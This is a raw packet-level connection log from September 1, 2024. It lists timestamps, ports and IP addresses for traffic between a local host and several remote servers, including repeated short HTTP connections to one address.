Sep 1, 2024 02:48:33.844564915 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.844602108 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.845706940 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.848994017 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.849045992 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.849050045 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.849067926 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.849128008 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.852538109 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.856060982 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.856093884 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.856121063 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.856128931 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.856165886 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.856172085 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.858591080 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.858642101 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.858649015 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.866852045 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.866925955 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.867217064 CEST	49808	443	192.168.2.4	142.250.185.129
Sep 1, 2024 02:48:33.867229939 CEST	443	49808	142.250.185.129	192.168.2.4
Sep 1, 2024 02:48:33.960515976 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:33.962487936 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:33.963068008 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:33.967967987 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:34.170294046 CEST	80	49724	87.248.202.1	192.168.2.4
Sep 1, 2024 02:48:34.170386076 CEST	49724	80	192.168.2.4	87.248.202.1
Sep 1, 2024 02:48:34.177023888 CEST	49724	80	192.168.2.4	87.248.202.1
Sep 1, 2024 02:48:34.186845064 CEST	80	49724	87.248.202.1	192.168.2.4
Sep 1, 2024 02:48:34.211517096 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:34.211577892 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:34.350547075 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:34.350812912 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:34.355819941 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:34.355892897 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:34.355925083 CEST	80	49809	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:34.356323957 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:34.356339931 CEST	49809	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:34.361530066 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:35.122728109 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:35.122980118 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:35.123733044 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:35.128663063 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:35.373183012 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:35.373255968 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:35.483031988 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:35.483314037 CEST	49813	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:35.488399029 CEST	80	49813	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:35.488409996 CEST	80	49811	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:35.488471031 CEST	49811	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:35.488522053 CEST	49813	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:35.488614082 CEST	49813	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:35.493720055 CEST	80	49813	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:35.651556015 CEST	49814	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:35.651603937 CEST	443	49814	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:35.651668072 CEST	49814	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:35.651798010 CEST	49815	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:35.651843071 CEST	443	49815	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:35.651905060 CEST	49815	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:35.651992083 CEST	49814	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:35.652009010 CEST	443	49814	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:35.652247906 CEST	49815	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:35.652261972 CEST	443	49815	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:35.688194990 CEST	49816	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:35.688205004 CEST	443	49816	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:35.688297987 CEST	49816	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:35.688764095 CEST	49816	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:35.688776016 CEST	443	49816	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:36.134253025 CEST	443	49814	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.134532928 CEST	49814	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.134558916 CEST	443	49814	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.135426044 CEST	443	49814	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.135481119 CEST	49814	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.136603117 CEST	49814	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.136657953 CEST	443	49814	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.136960030 CEST	49814	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.136965990 CEST	443	49814	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.139354944 CEST	443	49815	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.139576912 CEST	49815	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.139589071 CEST	443	49815	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.140510082 CEST	443	49815	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.140573978 CEST	49815	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.141313076 CEST	49815	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.141366005 CEST	443	49815	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.141418934 CEST	49815	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.170383930 CEST	443	49816	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:36.170587063 CEST	49816	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:36.170602083 CEST	443	49816	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:36.171626091 CEST	443	49816	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:36.171683073 CEST	49816	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:36.172571898 CEST	49816	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:36.172632933 CEST	443	49816	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:36.172735929 CEST	49816	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:36.183360100 CEST	49814	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.183433056 CEST	49815	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.183440924 CEST	443	49815	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.214617968 CEST	49816	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:36.214627981 CEST	443	49816	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:36.218944073 CEST	443	49779	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.218986034 CEST	443	49779	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.219095945 CEST	49779	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.227618933 CEST	49815	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.233268023 CEST	80	49813	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:36.233321905 CEST	49813	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:36.233891010 CEST	49813	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:36.238631010 CEST	80	49813	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:36.240823030 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.240894079 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.240963936 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.261488914 CEST	49816	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:36.264208078 CEST	443	49814	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.264259100 CEST	443	49814	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.264398098 CEST	49814	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.264659882 CEST	49814	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.264677048 CEST	443	49814	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.280129910 CEST	443	49815	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.280169010 CEST	443	49815	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.280327082 CEST	49815	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.280493975 CEST	49815	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:36.280507088 CEST	443	49815	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:36.309329987 CEST	443	49816	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:36.309381962 CEST	443	49816	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:36.309530973 CEST	49816	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:36.309653044 CEST	49816	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:36.309658051 CEST	443	49816	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:36.479792118 CEST	80	49813	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:36.479993105 CEST	49813	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:36.590148926 CEST	49813	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:36.590404987 CEST	49817	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:36.595305920 CEST	80	49813	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:36.595354080 CEST	49813	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:36.595479965 CEST	80	49817	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:36.595541954 CEST	49817	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:36.595649958 CEST	49817	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:36.600589037 CEST	80	49817	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:37.340516090 CEST	80	49817	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:37.340732098 CEST	49817	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:37.341305017 CEST	49817	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:37.346030951 CEST	80	49817	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:37.588345051 CEST	80	49817	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:37.588423014 CEST	49817	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:37.699636936 CEST	49817	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:37.699970007 CEST	49818	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:37.706883907 CEST	80	49817	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:37.706979990 CEST	49817	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:37.707051039 CEST	80	49818	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:37.707135916 CEST	49818	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:37.707279921 CEST	49818	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:37.714165926 CEST	80	49818	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:38.453675985 CEST	80	49818	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:38.453769922 CEST	49818	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:38.454343081 CEST	49818	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:38.459474087 CEST	80	49818	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:38.708105087 CEST	80	49818	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:38.708645105 CEST	49818	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:38.989744902 CEST	49818	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:38.990252972 CEST	49819	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:38.995331049 CEST	80	49818	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:38.995342970 CEST	80	49819	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:38.995443106 CEST	49819	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:38.995451927 CEST	49818	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:38.997605085 CEST	49819	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:39.002692938 CEST	80	49819	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:39.745541096 CEST	80	49819	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:39.745593071 CEST	49819	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:39.746500969 CEST	49819	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:39.753758907 CEST	80	49819	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:39.995263100 CEST	80	49819	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:39.995414019 CEST	49819	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:40.106116056 CEST	49819	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:40.106399059 CEST	49820	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:40.111377001 CEST	80	49819	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:40.111422062 CEST	49819	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:40.111638069 CEST	80	49820	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:40.111768007 CEST	49820	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:40.111926079 CEST	49820	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:40.116756916 CEST	80	49820	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:40.860263109 CEST	80	49820	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:40.860320091 CEST	49820	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:40.860985041 CEST	49820	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:40.866709948 CEST	80	49820	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:41.110220909 CEST	80	49820	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:41.110320091 CEST	49820	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:41.314986944 CEST	49820	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:41.318123102 CEST	49821	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:41.320106983 CEST	80	49820	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:41.321155071 CEST	49820	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:41.323050976 CEST	80	49821	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:41.326706886 CEST	49821	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:41.364201069 CEST	49821	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:41.369051933 CEST	80	49821	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:42.066020966 CEST	80	49821	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:42.066081047 CEST	49821	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:42.066751003 CEST	49821	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:42.071536064 CEST	80	49821	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:42.313662052 CEST	80	49821	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:42.313716888 CEST	49821	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:42.419096947 CEST	49821	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:42.419667006 CEST	49822	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:42.424216032 CEST	80	49821	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:42.424727917 CEST	80	49822	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:42.424729109 CEST	49821	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:42.424786091 CEST	49822	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:42.425075054 CEST	49822	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:42.429945946 CEST	80	49822	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:43.168118954 CEST	80	49822	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:43.168252945 CEST	49822	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:43.168917894 CEST	49822	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:43.173778057 CEST	80	49822	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:43.447195053 CEST	80	49822	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:43.447297096 CEST	49822	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:43.560554028 CEST	49822	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:43.561398029 CEST	49823	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:43.566807032 CEST	80	49822	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:43.566860914 CEST	80	49823	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:43.566947937 CEST	49822	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:43.566951036 CEST	49823	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:43.567152023 CEST	49823	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:43.571866035 CEST	80	49823	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:44.323890924 CEST	80	49823	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:44.323949099 CEST	49823	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:44.326504946 CEST	49823	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:44.331461906 CEST	80	49823	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:44.607053041 CEST	80	49823	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:44.607125998 CEST	49823	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:44.716321945 CEST	49823	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:44.716670036 CEST	49824	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:44.721477032 CEST	80	49823	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:44.721626043 CEST	49823	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:44.721792936 CEST	80	49824	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:44.721993923 CEST	49824	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:44.722115993 CEST	49824	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:44.726936102 CEST	80	49824	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:45.519593000 CEST	80	49824	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:45.528539896 CEST	49824	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:45.549185038 CEST	49824	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:45.554013014 CEST	80	49824	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:45.801285028 CEST	80	49824	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:45.801373959 CEST	49824	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:45.918579102 CEST	49824	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:45.919059038 CEST	49825	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:45.924041986 CEST	80	49825	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:45.924134970 CEST	80	49824	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:45.924139023 CEST	49825	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:45.924248934 CEST	49824	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:45.930875063 CEST	49825	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:45.935803890 CEST	80	49825	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:46.668999910 CEST	80	49825	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:46.669172049 CEST	49825	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:46.669806004 CEST	49825	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:46.674560070 CEST	80	49825	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:46.917665958 CEST	80	49825	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:46.917746067 CEST	49825	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:47.028043985 CEST	49825	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:47.028493881 CEST	49826	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:47.033304930 CEST	80	49825	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:47.033385992 CEST	49825	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:47.033492088 CEST	80	49826	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:47.033710957 CEST	49826	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:47.033710957 CEST	49826	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:47.038835049 CEST	80	49826	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:47.774120092 CEST	80	49826	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:47.775600910 CEST	49826	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:47.798233032 CEST	49826	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:47.803085089 CEST	80	49826	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:48.057858944 CEST	80	49826	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:48.057918072 CEST	49826	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:48.168834925 CEST	49826	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:48.169116974 CEST	49827	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:48.174087048 CEST	80	49826	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:48.174141884 CEST	49826	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:48.174375057 CEST	80	49827	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:48.174443960 CEST	49827	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:48.174571037 CEST	49827	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:48.179888010 CEST	80	49827	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:48.912643909 CEST	80	49827	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:48.914597034 CEST	49827	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:48.915132046 CEST	49827	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:48.919925928 CEST	80	49827	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:49.187175035 CEST	80	49827	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:49.187258959 CEST	49827	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:49.294615030 CEST	49827	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:49.294919968 CEST	49828	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:49.299756050 CEST	80	49827	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:49.299808025 CEST	49827	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:49.300085068 CEST	80	49828	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:49.300303936 CEST	49828	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:49.300435066 CEST	49828	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:49.305176020 CEST	80	49828	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:50.069786072 CEST	80	49828	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:50.069848061 CEST	49828	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:50.070600033 CEST	49828	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:50.075392962 CEST	80	49828	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:50.322568893 CEST	80	49828	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:50.322772026 CEST	49828	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:50.433890104 CEST	49828	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:50.434186935 CEST	49829	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:50.439285040 CEST	80	49828	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:50.439342976 CEST	49828	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:50.439754963 CEST	80	49829	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:50.439821005 CEST	49829	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:50.439922094 CEST	49829	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:50.444982052 CEST	80	49829	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:50.904898882 CEST	49830	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:50.904927015 CEST	443	49830	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:50.905057907 CEST	49830	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:50.905343056 CEST	49830	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:50.905347109 CEST	49831	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:50.905353069 CEST	443	49830	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:50.905373096 CEST	443	49831	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:50.905528069 CEST	49831	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:50.905627012 CEST	49831	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:50.905638933 CEST	443	49831	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.187927008 CEST	80	49829	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:51.188020945 CEST	49829	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:51.188652992 CEST	49829	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:51.193672895 CEST	80	49829	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:51.365762949 CEST	443	49831	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.366055012 CEST	49831	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.366063118 CEST	443	49831	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.366364956 CEST	443	49831	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.366760015 CEST	49831	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.366816998 CEST	443	49831	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.367630959 CEST	443	49830	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.367820978 CEST	49830	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.367831945 CEST	443	49830	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.368294954 CEST	443	49830	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.368773937 CEST	49830	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.368904114 CEST	443	49830	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.417503119 CEST	49831	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.417572975 CEST	49830	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.438163996 CEST	80	49829	185.215.113.19	192.168.2.4
